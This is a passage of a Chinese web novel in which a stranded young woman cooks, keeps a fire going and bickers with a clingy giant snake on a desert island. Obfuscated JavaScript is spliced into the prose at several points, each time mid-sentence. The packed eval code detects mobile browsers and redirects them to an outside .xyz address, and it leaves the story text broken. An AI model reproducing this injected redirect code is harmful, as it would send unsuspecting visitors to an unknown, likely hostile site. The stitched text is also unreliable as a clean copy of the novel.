大蛇瘪着小嘴,不高兴,不愿意走,然后它就荣获了“邦邦”两下敲头。 大蛇尾巴护头,捂着脑袋,委屈巴巴地跑了。 跑到树下,爪子挠树。 “咔嚓咔嚓” 试图引起余初瑾的注意。 余初瑾没空注意它,忙的不可开交。 先是把鸡处理了一下,后又跑到海边洗桃子,时不时还得给火添柴,顺带把之前大蛇捡回来的铁制罐子也清洗了一下。 余初瑾想用这个罐子,煮个椰子鸡汤,光是想想味道,她不自觉咽了下口水。 期间余初瑾又把在树下挠树的大蛇喊了回来。 用它的爪子把鸡剖开,处理内脏,并把鸡切成块。 余初瑾使用大蛇爪子十分自然,扯过来就用,大蛇哼哼唧唧的,也不知道是不满还是怎样。 切完鸡,又把它赶走。 大蛇很生气,挠树的声音更大了。 余初瑾像是良心发现,回头瞅了它一眼,安抚道:“好了好了,别挠了,那树多无辜,待会我的鸡肉椰子汤完工之后,分你一点尝尝。” 虽然它大概率不会觉得好吃。 大蛇竖着小耳朵听她说话,也不挠树了,眼巴巴看着人。 大蛇在等她喊它过去,它想粘着余初瑾,不想隔这么远。 余初瑾哪能不懂它的意思,但假装不懂。 这家伙待在旁边就老捣乱,时不时拿它的尾巴出来扫一下,扫得灰尘四起,时不时又把大脑袋拱过来,求摸摸,很耽误人干活。 还是让它继续待在树下挠树比较好。 然后画面就变成了余初瑾在火堆旁忙忙碌碌,煮鸡汤,大蛇在大树下忙忙碌碌,挠树干。 “碰” 身后一声巨响,伴随着灰尘掀起。 余初瑾一惊,回头看去,就见一颗树轰然倒下。 大蛇挠的那棵树,断成两节。 余初瑾扯扯嘴角,这大家伙的爪子是真锋利,用来切肉实属大材小用了,一棵树居然让它挠断了,破坏力不要太强。 大蛇换了棵树,继续挠。 余初瑾招招手:“好了好了,别在那和树过不去了,过来吧。” 几乎是余初瑾招手的一瞬间,大蛇“嗖”一下窜了过来,来到人身边之后就挨挨蹭蹭,求摸摸。 余初瑾揉了两下大蛇头。 大蛇满足眯起眼,也是个不记仇的主,摸两下就忘了刚刚被赶走的委屈了。 大蛇捡玻璃瓶时顺带捡回来的小铁罐子,只有易拉罐大小,装不下太多东西。 放了几块鸡肉,差不多就塞满了,加上椰汁,放在火上煮,现在正咕噜咕噜冒着热气。 空气中飘散着鸡肉的鲜香。 余初瑾砸吧砸吧嘴,有点期待,不过现在还没熟,还得再煮一会。 等待鸡汤熟的间隙,余初瑾将头靠在大蛇身上,身心放松。 有火,有大蛇,能吃饱,还能喝上汤,怎么感觉日子过得似乎也还可以。 越来越像模像样了。 暮色渐沉,一弯圆月挂在天的尽头,月光撒在海面,银色波光粼粼。 火光倒映在人脸上,余初瑾望着飘升而上的烟气,自言自语。 “火已经升起来了,烟也已经飘到天上去了,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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余初瑾扯了扯嘴角:“不要舔我,在人类的世界里,这是一种非常没有边界感非常无礼的行为。” 大蛇:“嘶嘶。” 前一秒还在教育大蛇,要做一只有边界感,有礼貌的蛇,下一秒她脑子一抽,开始扒拉大蛇尾巴,行为无异于掏蛇裤兜,纯耍流氓。 一边扒拉它尾巴,一边嘀咕:“让我看看,你是公蛇还是母蛇?” 大蛇眼睛瞪得圆圆。 余初瑾丝毫不觉得她的行为有问题,在那摸来摸去,捏来捏去,试图判断出它的性别。 大蛇害羞地眨巴眨巴眼睛,偷偷看一眼两脚兽,又偷偷看一眼两脚兽,扭扭捏捏。 但这次并没有像之前那样收回尾巴藏起来,反而慢慢缠绕上了余初瑾的腰。 在她腰上绕了一圈又一圈,尾巴尖试探性地轻轻拍在人身上,一下又一下,像是暧昧的回应。 20. 哭哭 019哭哭 蛇尾突兀缠绕到人身上来,缠绕着她的同时贴近,淡青色的蛇信子近在眼前,带着浅浅的青草香。 眼神流连在人身上,并伴随着低沉的“嘶嘶”声。 余初瑾无法判断它此刻的嘶嘶声是在表达什么情绪,也没有心情去判断,因为缠绕在腰间的蛇尾巴,让余初瑾下意识感到恐慌。 她不怕大蛇,时常还特别放肆,动不动就敲它脑袋,对待它的态度和对待家里大黄没太多区别。 可现在,整个人都被它控制住了,她就是再怎么心大,再怎么不怕,也不可避免的感到害怕。 余初瑾身体僵硬,说话略结巴道: “你,你干嘛,我不过就是摸一下你尾巴而已,不至于生气到要绞死我吧,我们可是好朋友,你不能伤害朋友。” 话音刚落,大蛇贴得更近了,丝毫没有要松开她的意思,反而缠绕的力度更紧。 余初瑾腰部传来轻微疼痛感。 语言沟通不了,余初瑾伸手扒它,试图把缠绕在腰间的蛇尾巴掰开。 “你松开我,你再不松的话,我打你了。”说是要打它,可语气明显没有之前那么嚣张了,弱弱的,没有底气。 毕竟,大蛇过于庞大,力量也过于恐怖,不是她所能反抗的存在。 大蛇但凡生气翻脸,余初瑾都只有等死的份。 大蛇歪了歪头,似是感知到了余初瑾的恐惧,缓缓松开了尾巴。 得到自由后,余初瑾连忙往后退,退开三米,和它保持安全的距离。 大蛇想要靠近她,她吓得急急往后退。 大蛇停住动作,歪头,疑惑地看着人。 “你刚刚是不是想攻击我。” “嘶嘶。” 说不上来,感觉它有点像是想攻击,又不太像,余初瑾分辨不明大蛇刚刚的举动是什么含义。 但不管是什么含义,余初瑾都获得了一个信息,那就是,大蛇的尾巴是真的不能碰。 很危险,这么庞大的动物,性格再怎么温顺,自己也不该去挑衅它的敏感地带。 大蛇是很像一只乖乖狗,可它到底不是,不光不是,它甚至能算作是猛兽之一。 余初瑾默默在心里打定主意,之后和大蛇相处的时候,一定得注意分寸,不然说不定真会惹恼它。 余初瑾心有余悸又警惕地看着大蛇。 而大蛇则有点委屈,想靠近又怕两脚兽生气,踌躇不前,委屈又疑惑,两脚兽为什么害怕? “扑哧” 火堆传来声响。 正在火上煮着的鸡肉椰汁,溢了出来,溢出的汤汁撒在火上,浇灭了部分火,白烟翻滚。 余初瑾回神,暂停了研究大蛇的危险性,赶忙跑回火堆边。 找来两根棍子,把在火上的铁罐子夹了下来,放到一边冷却。 大蛇游动着蛇身,悄咪咪慢慢靠近余初瑾。 余初瑾猛地回头。 视线对上,大蛇一顿,停住。 大蛇眼底有被发现的心虚,假装很忙起来,左看看右看看上看看下看看。 余初瑾全程警惕,盯着大蛇动作。 大蛇假装忙碌了一会,期间不断偷瞄两脚兽,最后嘴巴一瘪,不情不愿又委屈巴巴的主动退开距离。 见它退后,余初瑾默默松口气,刚刚蛇尾巴缠腰,是真把人吓着了,现在有点害怕它的靠近。 大蛇躲到树后去了,爪子挠树,尾巴不安地在沙地上扫动。 一副可怜兮兮的样。 余初瑾看在眼里,心里不免又泛起嘀咕,是不是自己紧张过度了?就它这个蠢样,也不像是会攻击人的蛇。 它刚刚用尾巴缠着自己的腰,也许不是有攻击性的意思,而是表达亲近,就像求摸摸一样? 余初瑾咬了咬唇,斟酌片刻,最终还是下定决心,做出了招手的动作,示意它过来。 大蛇眼睛霎时亮晶晶,“嗖”一下就过来了。 结果因为动作太快,险些刹不住车,险些撞到人身上来了。 这么大个家伙,被它撞一下,余初瑾估计得受够呛。 余初瑾:“毛毛躁躁的,你可不能撞到我,我很脆弱,人类是很脆弱的,你知不知道。” 余初瑾不断重申自己很脆弱并和它讲道理。 “脆弱的人类,经不起你任何的碰撞,像刚刚,你要是没刹住车,撞我身上来了,我说不定都得让你撞骨折,” “还有就是,我虽然摸你尾巴了,可能在你的观念里不礼貌,你生气了,那我也承认我确实有一点不礼貌,” “但话又说回来,你就算是有点生气,也不能攻击我吧,你拿尾巴缠着我腰是什么意思,” “我知道你可能并没有要攻击我的意思,可能只是想警告一下我,但是我们之间力量悬殊太大了,你稍微警告一下,我可能就没命了。” 叽里呱啦,呱里叽里,说了一大堆。 总结下来,意思无非就是:你不能伤害我。 大蛇歪着脑袋,认真听,大脑袋上的小耳朵时不时动一动。 余初瑾口都快说干了,但不难猜测,大蛇估计一句话没听懂。 说再多好像也没有意义,有意义的事情是下次真的千万一定不要再碰它的尾巴了。 大蛇是有攻击性的,余初瑾在心里不断警告自己,千万不要太不当一回事。 大蛇能给予她保护,也能随时要了她的小命。 “好了,道理也和你讲了,我摸一下你,我们就算是和好了,谁也别计较了。”余初瑾试探性地像往常那样,摸摸它的头。 大蛇顺从低头,大脑袋跟着手动,依旧是那个粘人的小狗。 见状,余初瑾彻底放下心来,看来摸尾巴惹毛它的事,能翻篇了。 鸡汤已经熟了,她盘腿坐下,用提前制作好的木筷子,搅了搅铁罐子里的鸡汤。 鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645862|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香味瞬间飘散出来,鸡汤表面还浮了一层油脂。 惹得余初瑾不自觉地吞咽了一下喉咙,赶忙夹起一块鸡肉,吹了吹,然后放入嘴中,咀嚼。 鸡肉的鲜香在口中爆开。 很鲜,也很原汁原味,当然也很寡淡,主要是没有任何的佐料可放。 但在这个荒岛上,这样的食物,已经算得上是难得的美味了。 铁罐子太小,放不下多少鸡肉,一共就放了四五块,余初瑾没一会就吃得只剩下一块鸡肉了。 夹起最后一块鸡肉,送到嘴边,刚要吃下,动作顿住。 杵在正前方的大蛇,正一眨不眨盯着她。 吃独食,好像不太好,而且她之前也答应过它要给它尝尝的。 看了看筷子上的最后一块鸡肉,又看了看眼巴巴一脸期待的大蛇,她天人交战片刻,最后一咬牙…… 一口咬下,自己吃了。 吃完还不忘来上一句:“怎么了,我就吃独食了,大不了我再煮一锅,到时候分你一点好了。” 大蛇爪子踩地,踩啊踩。 “好了好了,下次一定分你。” “嘶嘶。” 吃完鸡肉,准备喝鸡汤,用指尖快速触碰了一下铁罐子,确定铁罐子不烫了后,拿起来。 美滋滋喝上一口,有椰汁的清甜,也有鸡肉的鲜美。 不错不错,非常的不错,这是继桃桃耶耶之后又一得到余初瑾认可的食物。 是不是也得给鸡汤取个名字,桃子椰汁叫桃桃耶耶,椰汁煮鸡肉叫什么呢…… 想了半天,放弃了,她没什么取名的天赋。 一口一口喝着鸡汤,时不时点点头,沉浸在鸡汤的美味之中。 在她完全放松的情况下,什么东西,悄悄的,毫无预兆的,缠上了她的腰。 余初瑾手一抖,险些没抓稳铁罐子,差点就把本就不多的鸡汤撒了出去。 她低头看去。 是蛇尾巴,又缠了上来。 相比第一次的恐慌,余初瑾这次要从容了不少,虽然心底还是感到略微害怕,因为她摸不准大蛇到底想干什么。 把手上的铁罐子放下,尽量镇定,语气温和:“怎么又这样,总不能是因为我没把鸡肉分给你,所以你又想攻击我吧。” 大蛇尾巴尖,轻轻拍打着人的腰。 余初瑾也留意到了它的拍打,这是什么意思?缠着人的腰,用尾巴尖拍人。 拍打的力度于大蛇而言是很轻的,可很轻的力度,拍在人类的身上就不能算是轻了。 大蛇拍打着余初瑾侧腰的位置,一下又一下,位置固定,力度还不轻,疼的人倒吸一口凉气。 忍不了了,抬手,大力打它的尾巴:“你松开,痛死了!” 被打了,大蛇表情明显愣了一下,反应过来后,它满眼受伤,眼底瞬间蓄起泪花。 仿佛受了极大的委屈,好不可怜,眼泪在眼眶里打转。 21. 危险 021危险 大蛇收回了尾巴。 腰间的缠绕感散去,余初瑾如释重负。 这条蛇搞什么,太吓人了,余初瑾默默离它远点,离它远点的同时还不忘拿上她的鸡汤。 大蛇并未跟上来,只是忍着眼泪,埋头研究起自己的尾巴来。 余初瑾看过去时,就看到了这一幕,大蛇用爪子捧着它自己的尾巴,翻来覆去地看。 这画面有点熟悉,大蛇第一次投喂她的时候,送了一只兔子,当时没有火,没法吃,余初瑾并没有收下兔子。 大蛇对此很不解,用爪子不停地扒拉兔子,翻来覆去地看,郁闷不已。 当时的画面和现在的画面有点重叠。 唯一不同的是,那会它是在郁闷地翻看兔子,疑惑两脚兽为什么不接受它送的兔子,而现在它是在翻看它的尾巴,疑惑两脚兽为什么不接受它的尾巴? 余初瑾想不明白,也没心思研究大蛇到底想干什么,低头掀开衣服一角,看了看腰侧的位置。 一块皮肤都被大蛇拍红了,轻轻摸上去还有些刺疼。 余初瑾咬牙切齿,看向远处大蛇,这条蠢蛇,没轻没重的,就算是没有攻击的意思,可它稍微折腾一下,自己都得受伤。 不行,以后得和它保持点距离,免得受伤! 余初瑾打定主意离它远点,而它还在埋头扒拉尾巴。 配偶好像不喜欢我的尾巴,为什么打我,是我的尾巴不够强壮吗,配偶嫌弃我了吗。 大蛇把尾巴盘成一团,郁郁寡欢,伤心欲绝,蓄在眼眶的眼泪要掉不掉。 同时,还时不时发出呜呜的声音。 这动静,余初瑾想不注意它都难。 这是在闹哪出? 定睛看去,余初瑾这才侃侃发现,大蛇泪眼汪汪,一脸绝望。 在哭? 它哭什么,刚刚是它疑似做出攻击的举动,自己不得已才回击了一下它而已,该哭的是自己才对吧。 退一万步说,也不是第一次打它了,之前时不时就会邦邦敲它的头,也没见它有这么大的反应。 难不成尾巴很脆弱,哪怕是她力量有限,它也会感觉到很疼? 转念又摇头,打消了这个猜测,之前她可是目睹过大蛇用尾巴把野猪绞死的一幕。 它的尾巴很有力,且一点都不脆弱,更不可能因为她打两下就受伤。 排除了这个原因,那它为什么哭? 何止是哭,还哭成了一团,呜呜个不停,一副天塌了的样。 余初瑾抓耳挠腮,怎么回事,明明是它的错,可到头来愧疚的居然成自己了。 头大。 余初瑾咬紧唇又松开唇,反复几次,犹豫再三,最终挪动着步子,主动朝大蛇走去。 余初瑾谨慎地停在距离它半米的位置,没敢靠太近。 “你干嘛呢,这么大体格子,哭什么,也不嫌丢人,不对,也不嫌丢蛇。” “呜呜呜。” 它呜着呜着,还仰着脑袋对着天空呜。 余初瑾扯了扯嘴角,莫名有一种荒诞感,一条蛇,像只狼一样,对着天空呜呜呜。 真的太离谱,太抽象了。 “别呜了,哎呦,我真是服了,是你先惹我的好吗,你用尾巴缠着我的腰真的很疼,我让你松开你还不松开,还不许我回击了?” “退一万步说,我回击打你的力度,和给你挠痒痒有什么区别,又不疼,你哭什么,” “好好好,我的错我的错,都是我的错,别呜了,” “你看你,怎么还把身子背过去了,不理人?” “真的不理我吗?” 大蛇虽然背过身子去了,一副不愿意交流的样子,但是它大脑袋上的小耳朵暴露了它。 小耳朵动来动去,分明就是在认真倾听,认真倾听的同时还要假装它没听。 憨憨傻傻的样。 余初瑾想了想,把剩余的半米距离归零,主动走了过去,拍了拍它。 大蛇四十五度扭着脑袋,不理人,可那个小耳朵,分明就竖起来了,生怕错过余初瑾发出的任何声音,哪怕它听不懂。 余初瑾又拍了拍它。 大蛇依旧不理人,只是藏着的尾巴,开始不受控,愉悦地在地上扫动起来。 扫了两下,又意识到了,立马停住,并偷偷看一眼余初瑾有没有发现,随后继续扭头不理人,假装无事发生。 好明显的一条蛇,根本就藏不住半点心事,不是耳朵暴露就是尾巴暴露。 余初瑾轻笑出声。 听到笑声,大蛇装不下去了,扭过头来,眼睛圆溜溜地看着人,试图分析两脚兽为什么会笑。 “愿意理我了。”余初瑾笑说。 “嘶嘶。”大蛇把头一扭。 余初瑾绕到它面前,伸手,摸摸它的大脑袋。 大蛇下意识就把脑袋靠近,好方便人类抚摸,靠近一瞬,又意识到它现在是在生气,想缩回脑袋。 在想被抚摸,和生气之间疯狂摇摆。 最后扛不住诱惑,眯起眼睛,把脑袋凑过去,满脸都写着,喜欢喜欢,继续摸继续摸。 真好哄。 “我还剩了点鸡汤,你要不要喝?”余初瑾把铁罐子递到它跟前。 大蛇凑近嗅了嗅,张嘴就要一口吞。 余初瑾连忙缩手:“诶诶诶,不能这样吃,我说过你吃东西得温柔点,再者说这是铁罐子,是不能吃的。” 余初瑾演示了一下喝汤的动作,示意它应该这样喝。 大蛇似懂非懂地看着人。 然后,一口把罐子吞了。 余初瑾瞪大眼睛,第一反应是:“啊,我的罐子!” 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651704|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罐子很小,装不了多少东西,但这是她唯一的锅,唯一可以用来煮汤的锅。 第二反应则是:“等会,那可是铁的,你吞下去了能消化吗,你生病了怎么办,这里可没有医生能救你,吐出来吐出来,赶紧吐出来。” 余初瑾上手去掰它的嘴巴,过于焦急,导致她完全忘记要离它远点的决定,疯狂掰嘴。 “你吐出来,快点快点,你怎么什么都吃,铁罐子你也往嘴里吞,你这条傻蛇!” 这条傻蛇,还一脸状态外,萌萌呆呆的在那眨眼。 完了,它真把罐子吞了。 大蛇不会因为这个铁罐子死掉吧?它消化能力应该还可以吧? 余初瑾眼底的焦急逐渐过度到了担忧,她甚至都联想到了,大蛇因为消化不了铁罐子痛苦死亡的画面。 然而,下一秒,“呸”一声,它把铁罐子吐了出来。 完好的铁罐子,静静的待在沙地上,里面的鸡汤倒是空了。 余初瑾:“……” 白担心了,还以为这条傻蛇真把铁罐子给吃了。 不对,等会。 余初瑾怀疑地看向它:“你是不是在故意逗我玩?” 大蛇不看人,眼睛东躲西躲。 看它这个反应哪还不懂,余初瑾无语,还真是在逗人玩,这条幼稚蛇。 入夜。 带着咸腥味的海风迎面吹来,余初瑾摩挲了下胳膊,有点冷。 “我的外套呢?”余初瑾不知道第几次问它了,问的同时还会比划一下穿外套的动作。 奈何,这条蠢蛇,总是一脸无辜地望着人。 放弃了,看来外套是拿不回来了。 算了,不算了也没办法,总不能和蛇吵一架,主要也吵不起来,它只会嘶嘶。 现在生起火来了,晚上有火堆,估计也不会冷。 回到庇护所休息之前,特意把火堆挪到了庇护所旁,一来可以取暖,二来则是,她得盯着火,及时添柴,不然火灭了可就麻烦大了。 余初瑾不想再经历一遍生火的过程,必须保存好现在的火。 许是惦记着火的缘故,余初瑾睡得不太安稳,时睡时醒。 迷迷糊糊睡着,又一下惊醒,探头看外面的火,看到火没灭,心才稍定,躺下去继续睡。 这样的状态一晚上持续了好几次,在第三次起来添柴时,先是照例把堵在门口的大蛇赶走,拿上干柴,放到火上。 大蛇也不嫌余初瑾一晚上起几次吵到它睡觉,每次都屁颠颠跟着,哪怕困得打哈欠,也一步不离的跟着人。 “好了,今天晚上应该只需要添这一次柴了,安心睡吧。”余初瑾拍拍大蛇。 忽然,余初瑾觉出不对,似有所感般,抬头看去。 高处树枝上,一团黑影,一个未知且体型颇大的动物,正直勾勾地盯着底下的余初瑾。 22. 蚊香蛇 022蚊香蛇 黑夜里看不分明,只能瞧见一个模糊轮廓,树枝上的东西黑乎乎一团,时不时还随风在飘动。 余初瑾身体一个趔趄,大惊失色。 第一时间,窜到了大蛇身后求保护。 “什么东西啊,大半夜的,那树上黑乎乎一团,还在动。”余初瑾指着树上。 大蛇顺着她所指,抬头看了看,然后咧着嘴傻乐,并蹭了蹭人。 余初瑾面露疑惑,大蛇对待危机肯定比她要敏锐,如果树上真的有危险,它不会是这无所谓的态度才对。 余初瑾抬头,眯着眼睛仔细往树上看。 的确是黑乎乎的一团,风吹过时,还会摇摆。 到底什么东西? 余初瑾满心困惑,但看大蛇的反应,估计也不是什么具有攻击性的生物,不然它早“炸毛”了。 既然不危险,那就暂且不管,余初瑾打了个哈欠,太困了,这一晚上为了添柴可太费劲了。 她思忖着得想个办法保存火种,而不是像现在这样用笨办法频繁添柴,每天晚上折腾起夜两三次,谁受得了。 做个火折子?这玩意该怎么做,完全没有户外生存经验的余初瑾只觉两眼一抹黑,毫无头绪。 她知道有保存火种的火折子,但是不知道该怎么做,也没个手机,也不能搜索一下…… 如果有手机就好了,算了,就算有手机这地方估计也不可能有信号。 余初瑾悠悠叹口气,回到庇护所,睡觉。 大蛇十分自觉地把脑袋往门口一塞,脑袋太大塞不进来,但不影响它堵在门口。 余初瑾已经随它去了,只要它不破坏庇护所,它乐意堵门口就堵门口。 更何况,大蛇堵门其实也是有好处的,能给她提供安全感能保护她是其一,这其二则是,大蛇有驱蚊效果。 关于这一点,是余初瑾意外发现的。 她一直没有意识到她在荒岛上户外居住,没有蚊虫叮咬,得是一件多么离谱的事。 直到大蛇有天晚上为了找玻璃瓶,没有待在附近,余初瑾才恍然意识到。 只要大蛇在她的附近,那么附近就不会有蚊子和虫子。 它还是一只蚊香蛇。 挺不错。 一夜睡到天明,庇护所空间太小,地面太硬,睡的人有点腰酸背痛,外加上为了添柴一晚上还醒了很多次,导致一觉睡醒反而更累了。 但最起码没有饥饿感,昨天吃了猪肉,还吃了鸡肉,桃子也吃了好几个,吃的有点撑,以至于她现在都不怎么饿。 手指点了点堵在门口的大脑袋。 “起来了,起来了。” 大蛇懵懵懂懂眨眼,一副没睡饱的样子,还特别拟人化的打了个哈欠。 余初瑾低声笑:“谁让你堵门口的,你要是睡旁边一点,只要是不把门堵着,我起来添柴的时候,也不至于每次都要叫醒你。” 大蛇可不管她说了什么,亲昵地用脑袋蹭蹭人。 余初瑾推开它:“行了,别蹭了,走开走开,别堵着,我要出去。” 被拒绝,大蛇瘪嘴委屈,但还是自觉往后退了退。 余初瑾从庇护所里爬出来,伸了个懒腰,活动了一下酸软的身体。 她回头看了看庇护所,庇护所是不是得扩建一下,空间实在是太狭小。 每次进出都得靠爬,坐起来一个不留神都会撞到脑袋,总之是各种不方便。 之前建造庇护所的时候,只想着能临时居住能遮雨就行,总觉得一两天就会离开,不料还在这里常驻下来了。 余初瑾拿起石头,在树干上划了一横。 第六天了。 望着没有动静的海面,以及空荡荡的天空,余初瑾叹息一声。 余初瑾晃了晃脑袋,把低落的情绪甩出去,来到火堆前,给火添柴。 因为一晚上频繁起来添柴的缘故,火很安全,完全没有熄灭的迹象,随便添点柴,火苗就窜了起来,燃烧的很旺。 保持不让火熄灭,也是个麻烦事,如果每天晚上都需要这么频繁的添柴,那必然是不行的。 太消耗人的精神了,人如果睡不饱,是很容易生病的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“外套呢,你都上去了你还不把外套拿下来!” 大蛇摇头晃脑很开心,它把配偶送的皮放在了树上,那里很安全。 它刚刚还上去仔细检查了一番,皮很完好,它有在好好珍惜配偶送的礼物。 余初瑾气得跳脚。 “邦邦”给它来了两下敲头,蠢死了! 23. 苦力蛇 023苦力蛇 折腾到最后,余初瑾放弃了,外套不要了,不然真的会让这条蠢蛇气出个好歹来。 还是想想怎么制作出火折子来吧,这个才是更要紧的事。 当然要紧事也不止这一件,她看向之前收集并保存在树下的二十瓶雨水。 水过滤煮沸的事情,该提上日程了。 回头看了眼庇护所,扩建庇护所的事,也得慢慢实行。 事情很多,当然也并不是真的事情很多,而是待在荒岛上,没有手机没有电脑,没有任何的娱乐手段,怎么熬过一天又一天。 时间是很漫长的,总得做点事情打发时间,什么都不做,长时间的放空,余初瑾哪怕是个心大的人,也会不可避免的陷入到抑郁当中去。 为了避免情绪上出现问题,她试图不停的给自己找事情做。 但这个担心暂时有点多余,因为每次情绪稍微有点起伏,大蛇就能找点事气人…… 有时候被气过头了都忘记难受了,大蛇的存在,很大程度削减了一个人待在孤岛上的孤单感。 “好了,没完没了了吗,你怎么一天天时时刻刻都黏黏糊糊的。” 大蛇不停挨挨蹭蹭,一会要摸摸,一会又嗅嗅人,一会干脆直接把大脑袋压人身上。 “重死了,你这么大体格子你心里没点数吗,我都要让你压成肉饼了。” 余初瑾疾言厉色把蛇赶走,没两分钟,大蛇又没事蛇一样悄咪咪凑过来了。 总之就是时时刻刻都得粘着人。 “你都没有自己的生活吗,能不能独立一点。”余初瑾头大的很。 大蛇咧着大白牙,乐呵呵,半点不受影响,继续粘着她,被赶走了,只要不挨揍,它就不在乎。 当然,挨揍了也顶多是去树下挠几下树。 挠树时那可怜巴巴的样,余初瑾看着于心不忍,没一会又把它叫回来。 它挨过来了就是求贴贴求摸摸,现在还多了个坏毛病,时不时用尾巴缠人腰。 余初瑾从一开始的惊恐,到现在……已经有点习惯了。 余初瑾发现,打它的头没事,怎么敲都没问题,但如果打它的尾巴,它就会哭唧唧。 那眼泪汪汪可怜委屈的样啊……余初瑾哭笑不得。 “你说你这么粘人,我以前没来这个岛上的时候,你一条蛇怎么过的?” “嘶嘶。” 只要是和它聊天,它都会像模像样的回应,虽然彼此都听不懂彼此的语言,但不影响交流得似乎还挺“顺畅”。 余初瑾说一句它就嘶嘶一声,还挺有来有回。 “你在岛上没有别的朋友吗,你怎么不和别的动物交朋友。” “嘶嘶。” “我第一天到这里来的时候,你一看到我,立马就粘了上来,为什么。” “嘶嘶。” 余初瑾思考片刻,得出结论。 “看来我真的很受小动物的欢迎,不对,”她上下扫视大蛇:“你不能算小动物,你是大动物,” “我跟你说,我家大黄,也和你一样,一见到我就跟着我走,非粘着我,赶都赶不走,没办法我这人好,只好养着了,” “所以啊,无论大狗小狗,都特别喜欢我,” “是不是啊,大狗蛇。” 被称作大狗的大蛇,舔了舔人的脸。 余初瑾:“……” 擦去脸上口水,有点嫌弃,又有点无奈,它爱舔人的毛病是越来越严重了。 余初瑾时常会和大蛇聊天,东扯西扯,无非就是用来打发时间,不然太无聊了。 除了和大蛇聊天以外,余初瑾还给自己制定了一些任务,目的同样是用来打发时间。 任务第一步,做个火折子出来,任务第二步,把收集的水过滤到可饮用状态,任务第三步,扩建庇护所。 暂时比较紧要的任务也就这些。 随后,余初瑾便开始了她的半吊子火折子工程。 最多最容易获取的工具自然是玻璃瓶,她先是挑了个玻璃,装了半瓶子沙子,然后塞上一大堆木屑,小炭火埋在木屑里,最后把瓶口封住,杜绝空气。 结果可想而知,失败了,且失败很多次。 她也不知道问题出在哪,也不理解火折子的完整原理,早知道有这么一天,在那之前就该去学一学相关知识。 两天过去,余初瑾耐心耗尽,宣布火折子制作失败。 任务一失败。 余初瑾不可避免的有些烦躁,但烦躁了一段时间,她又开始了任务二,过滤水。 这个相比于制作火折子要轻松很多,起码她知道怎么做,先是准备三个矿泉水瓶,剪开底部,往里面塞东西。 三个瓶子依次放入布料,草木灰,沙子。 布料可以过滤掉较大的悬浮杂质,草木灰有较强的吸附能力,能去除异味以及初步杀菌,沙子则是用于拦截更微小的悬浮颗粒。 水依次通过三层过滤屏障,就能让原本泛黄的水,变得清澈不少。 过滤的流程并不完善也不专业,有点潦草,但余初瑾也没有更好的办法,凑合凑合,不至于喝了之后生病拉肚子就行。 过滤完成的水,余初瑾迫不及待用铁罐子煮了一罐子,还往铁罐子里放了点桃子,增加风味。 她在尽可能的让她的生活品质得以提高。 水的问题暂时得以解决,不必天天喝椰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662539|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汁了,虽然岛上椰树很多,椰子仅她一人也根本吃不完。 但椰子汁性偏凉,她已经明显感觉到了肠胃不舒服,喝椰汁应急可以,但绝对不能一直喝。 二十瓶水,在炎热的天气下,撑不了多久,只能等什么时候下雨了继续收集。 光靠雨水和椰汁,不是长久之计,如果她长时间得不到救援,如果在这里生活是以年为单位,那她必须进入树林,寻找固定的水源。 荒岛上有这么多动物,她见过的就有野鸡兔子野猪,动物生存是需要喝水的,树林里肯定是有水潭存在的。 任务四出来了,寻找固定水源。 任务四需要大蛇辅助,她一个人可不敢进树林,光是野猪那种大型生物她就对付不了。 到时候得想办法忽悠忽悠它,让它带着自己进去。 余初瑾看了一眼黏糊糊待在旁边的大蛇。 嗯,怎么说呢,似乎也不需要忽悠。 它整天粘着人,余初瑾往树林里走,它铁定会跟着,完全不用担心它不跟着,不跟着反倒怪事了。 除了寻找水源需要大蛇的帮助以外,扩建庇护所,也需要大蛇的帮助。 准确来说,是需要大蛇的爪子帮助,它的爪子砍树可是一把好手。 余初瑾想要多砍几根木材,顺带也需要收集一些木柴,用于燃火。 荒岛最不缺的就是木柴,一大片的树林,里面的枯枝树叶不知道有多少,足够她用了,但需要费力去收集。 余初瑾整天忙忙碌碌,大蛇自然也就跟着整天忙忙碌碌。 余初瑾尝试制作火折子,大蛇就陪在旁边,时不时拿尾巴蹭一下人,试图引起人的关注。 余初瑾制作水的过滤装置,大蛇同样盘在旁边陪着,时不时拿脑袋蹭蹭她,试图引起人的关注。 